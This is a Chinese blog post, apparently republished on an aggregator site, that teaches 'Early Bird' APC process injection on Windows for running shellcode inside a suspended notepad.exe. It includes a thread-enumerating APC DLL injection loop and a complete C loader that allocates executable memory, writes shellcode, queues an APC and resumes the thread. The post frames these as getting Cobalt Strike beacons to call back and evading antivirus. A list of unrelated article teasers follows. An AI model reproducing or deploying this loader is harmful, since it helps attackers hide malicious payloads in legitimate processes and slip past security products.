APC注入进阶“Early Bird”

news2024/11/18 21:29:08

APC注入在前面的章节已经给大家讲过,基本原理也是老生常谈的内容了:
APC注入可以让一个线程在它正常的执行路径运行之前执行一些其他的代码,每一个线程都有一个附加的APC队列,他们在线程处于可警告的时候才被处理;如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。

但是线程什么时候处于可警告的状态是不可控的,所以在此前的程序中,我们为了保障shellcode或DLL被执行,我们遍历了目标进程中的所有线程,向所有线程中均进行了APC注入,以提高上线率,但是实际使用途中,会有几个问题:

  1. 会导致上线时间不可控(程序执行后主机上线间隔时间不固定)
  2. 上线次数不可控(每个线程中的shellcode被运行一次就会上线一次,实战过程中一般会上线2-3次)
  3. 不能保证免杀(此前的程序主要目的为进程注入,没有考虑免杀效果,实战过程中会有偶发被查杀的现象)
  4. DLL文件落地&目标进程新增模块(此前程序为使用APC注入DLL文件到目标进程中,需将DLL文件落地,而且查看目标进程的模块列表可看到DLL文件)

Cobalt Strike如何利用APC

在19年Cobalt Strike3.14发布时,即引入APC注入功能:
在这里插入图片描述
在这里插入图片描述

注:在此CS也引用了“Early Bird”的概念,并提到只能注入到Suspended(挂起)进程

函数介绍

我们本次使用的函数:QueueUserAPC

DWORD QueueUserAPC(
[in] PAPCFUNC  pfnAPC,		//指向应用程序提供的APC函数的指针(注入的DLL句柄或shellcode地址)
    [in] HANDLE    hThread,		//目标线程的句柄
    [in] ULONG_PTR dwData			//传递给pfnAPC参数指向的APC函数的单个值(VirtualAllocEx函数返回)
    );

我们可以先来回顾下上次的程序代码:
显然,上次的程序是将messagebox.dll注入到calc.exe进程中,有免杀基础的同学就可以将LoadLibraryW修改为加载shellcode,这里没太大区别,无非就是有没有新增模块。

//开始注入
THREADENTRY32 te = { sizeof(THREADENTRY32) };
//得到线程快照  
HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

BOOL bStat = FALSE;
//得到第一个线程  
if (Thread32First(handleSnap, &te)) {
    do {  
        //进行进程ID对比  
        if (te.th32OwnerProcessID == dwProcessId) {
            //得到线程句柄  
            HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
            if (handleThread) {  
                //向线程插入APC  
                DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, handleThread, (ULONG_PTR)lpData);
                if (dwRet > 0) {
                    bStat = TRUE;
                }
                //关闭句柄  
                CloseHandle(handleThread);
            }
        } 
    }
    //循环下一个线程 
    while (Thread32Next(handleSnap, &te));
}

OK,现在开始本篇的重头戏“Early Bird”

我们在前面提到CS的描述中说到,“Early Bird”注入目标只能为Suspended(挂起)进程
Early bird利用

  1. 创建一个挂起的正常进程,例如nostpad.exe、svchost.exe
  2. 从这个挂起的进程中申请可写可执行的内存空间
  3. 将shellcode写入目标内存空间
  4. 进行APC注入,将shellcode注入到目标进程的主线程中
  5. 恢复该挂起的进程

进程恢复后,首先会运行其主线程,即运行shellcode。

#include <Windows.h>

int main()
{
	unsigned char buf[] = "\x00\x00";


	SIZE_T shellSize = sizeof(buf);
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };

	CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	HANDLE victimProcess = pi.hProcess;
	HANDLE threadHandle = pi.hThread;

	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
	QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
	ResumeThread(threadHandle);

	return 0;
}

至于为什么会免杀,就不太清楚了,函数还是哪些高危函数,申请内存空间,写内存之类的。但是实际测试过程几家杀软也确实毫无反应。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1001410.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【JAVA-Day04】Java关键字和示例:深入了解常用关键字的用法

Java关键字和示例&#xff1a;深入了解常用关键字的用法 摘要Java 关键字、标识符和命名规范一、Java 关键字常用关键字DEMO1. 示例代码使用 if 和 else 关键字&#xff1a;2. 示例代码使用 for 循环&#xff1a;3. 示例代码使用 switch 关键字&#xff1a;4. 示例代码使用 wh…

2022年第一界HiPChips解读

High Performance Chiplet and Interconnect Architectures&#xff0c;2022年6月19日&#xff0c;第一届会议&#xff08;连同第49界ISCA会议&#xff09;于美国纽约举行。 第一届会议议程及slice&#xff1a;(HiPChips Chiplet Workshop ISCA Conference)[https://www.open…

使用TCP方式拉取Canal数据

1 Canal对接Kafka联调 1.1 配置修改 canal.properties 修改 zk&#xff1a; canal.zkServers 10.51.50.219:2181instance.properties 开启配置项&#xff1a; canal.mq.dynamicTopic 是 Canal 的 MQ 动态 Topic 配置项&#xff1a; test_javaedge_01 是kafka 的 topicte…

混合云代表,青云科技QingCloud从此走向小而美之路

你有你的活法&#xff0c; 我有我的活法 只要活出自己&#xff0c; 活出个样子都是美事 【全球元观察 &#xff5c; 热点关注】 刚注意到青云科技QingCloud的最新发布2023年半年度报告&#xff0c;2023上半年同比减亏约7000万元&#xff0c;研发人员减少83人。从这两个数字…

贝wa儿歌(安卓)

本次贝wa儿歌为大家提供的是特殊版本的&#xff0c;软件需要注册登录才能才能使用VIP权限&#xff0c;安装好后&#xff0c;打开如果提示更新请点击取消&#xff0c;一定不要更新哦。 贝瓦儿歌不仅只是儿歌&#xff0c;其实有很多分类的&#xff0c;包括有国学&#xff0c;动画…

小米6/6X/米8/米9手机刷入鸿蒙HarmonyOS.4.0系统-刷机包下载-遥遥领先

小米手机除了解锁root权限&#xff0c;刷GSI和第三方ROM也是米粉的一大爱好&#xff0c;这不&#xff0c;在华为发布了HarmonyOS.4.0系统后不久&#xff0c;我们小米用户也成功将自己的手机干山了HarmonyOS.4.0系统。虽然干上去HarmonyOS.4.0系统目前BUG非常多&#xff0c;根本…

系统架构:软件工程速成

文章目录 参考第一章 概述软件工程概述软件过程 参考 软件工程速成(期末考研复试软考)均适用. 支持4K 第一章 概述 软件工程概述 定义&#xff1a;采用工程的概念、原理、技术和方法来开发与维护软件。 三要素&#xff1a; 方法&#xff1a;完成软件开发各项任务的技术方…

人工智能AI 全栈体系(二)

第一章 神经网络是如何实现的 上节描述的网络结构比较特殊&#xff0c;不具有一般性。比如前面我们讲过的权重都是1或者-1&#xff0c;这是很特殊的情况&#xff0c;实际上权重可以是任何数值&#xff0c;可以是正的&#xff0c;也可以是负的&#xff0c;也可以是带小数的。权…

网络安全岗位面试经验总结(附面试题)

思路流程: 信息收集 服务器的相关信息&#xff08;真实ip&#xff0c;系统类型&#xff0c;版本&#xff0c;开放端口&#xff0c;WAF等&#xff09; 网站指纹识别&#xff08;包括&#xff0c;cms&#xff0c;cdn&#xff0c;证书等&#xff09;&#xff0c;dns记录 whois信…

Linux工具——gcc

目录 一&#xff0c;gcc简介 二&#xff0c;C语言源文件的编译过程 1.预处理 2.编译 3.汇编 4.链接 5.动静态库 一&#xff0c;gcc简介 相信有不少的小白和我一样在学习Linux之前只听说过visual studio。其实这个gcc这个编译器实现的功能便是和visual studio一样的功能&…

纷享销客入选中国信通院《高质量数字化转型产品及服务全景图》

近期&#xff0c;在中国信息通信研究院主办的“2023数字生态发展大会”暨中国信通院“铸基计划”年中上&#xff0c;重磅发布了《高质量数字化转型产品及服务全景图&#xff08;2023&#xff09;》&#xff0c;纷享销客凭借先进的技术能力和十余年客户业务场景应用理解&#xf…

Linux fcntl函数

/*#include <unistd.h>#include <fcntl.h>int fcntl(int fd, int cmd, ... ); 参数&#xff1a;- fd&#xff1a;需要操作的文件描述符- cmd&#xff1a;表示对文件描述符如何操作- F_DUPFD:复制文件描述符&#xff0c;复制的是参数fd&#xff0c;得到一个新的文件…

LeetCode:2. 两数相加

给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数都不会以 0 …

Java学习笔记------抽象类和抽象方法

抽象方法 抽象方法&#xff1a;将共性的行为&#xff08;方法&#xff09;抽取到父类之后&#xff0c;由于每一个子类执行的内容是不一样的&#xff0c;所以&#xff0c;在父类中不能确定具体的方法体&#xff0c;该方法就可以定义为抽象方法抽象类&#xff1a;如果一个类中存…

d3.js 的使用

这篇文章相当于之前 svg 的补充。 因为 svg 代码肯定不是人为去专门写的。 在这里推荐制作 svg 的第三方库 - D3.js 用于定制数据可视化的JavaScript库 - D3 官网地址&#xff1a; D3 by Observable | The JavaScript library for bespoke data visualization 简单使用 画…

嵌入式基础知识-信息安全与加密

本篇来介绍计算机领域的信息安全以及加密相关基础知识&#xff0c;这些在嵌入式软件开发中也同样会用到。 1 信息安全 1.1 信息安全的基本要素 保密性&#xff1a;确保信息不被泄露给未授权的实体。包括最小授权原则、防暴露、信息加密、物理加密。完整性&#xff1a;保证数…

nginx-日志处理

access.log #正常请求的日志 error.log #访问错误日志&#xff0c;404&#xff0c;500等请求在这里 buffer&#xff1a;设置缓冲区&#xff0c;访问日志不会直接打到磁盘上&#xff0c;而是先积攒到缓冲区&#xff0c;缓冲区满了后在统一往…

H5打包APP和IOS实现免签,超级签,mam签,h5分发

博主技术笔记 博主开源微服架构前后端分离技术博客项目源码地址&#xff0c;欢迎各位star 微信公众号&#xff0c;每天给大家提供技术干货 http://yun.viphssp.top/root 打包出来的模板&#xff1a;https://yun.viphssp.top/mq/3/html/index.html

解决a标签内容中img标签和p标签垂直方向间隔太大的问题

现象如下&#xff1a; 对应的html结构&#xff1a; 解决办法&#xff1a;给a标签设置&#xff1a;display: inline-block和line-height属性。 然后问题解决&#xff1a; 具体原理如下&#xff08;由chatgpt回答&#xff09;&#xff1a; display: inline-block 可以减少垂直方…

java可以跨平台的原因是什么?

因为不同平台可以安装对应的JVM&#xff08;Java Virtual Machine&#xff09;&#xff0c;它是C/ C写的&#xff0c;JVM可以屏蔽所有和平台相关的信息&#xff0c;并帮助把Java文件经过编译后生成的和平台无关的class类文件&#xff08;也就是字节码&#xff09;从硬盘读取到内…